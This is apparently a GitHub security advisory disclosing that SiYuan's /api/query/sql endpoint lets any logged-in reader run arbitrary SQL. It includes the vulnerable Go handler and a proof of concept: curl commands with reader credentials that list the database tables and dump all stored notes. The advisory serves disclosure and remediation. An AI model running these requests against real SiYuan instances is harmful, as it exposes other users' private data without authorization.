GHSA-jqwg-75qf-vmf9

SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access

### Summary /api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database. ### Details The vulnerable endpoint is in kernel/api/sql.go ```go func SQL(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } stmt := arg["stmt"].(string) result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions } ``` The route in kernel/api/router.go only uses CheckAuth middleware e.g (similar) ```go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL) ``` ### PoC Start SiYuan with the publish service turned on ```bash # List out all tables in the database curl -s -u reader_user:reader_pass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}' # Extract all user content from the database curl -s -u reader_user:reader_pass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT id, content FROM blocks"}' ``` ### Impact - High impact, reader users can query all data in the db including other users notes - SQL api is mostly for select queries, but without validation, writes can still happen - Malicious SQL can lead to serious performance issues this is an auth bypass, the sql feature is for power users but even readers can use it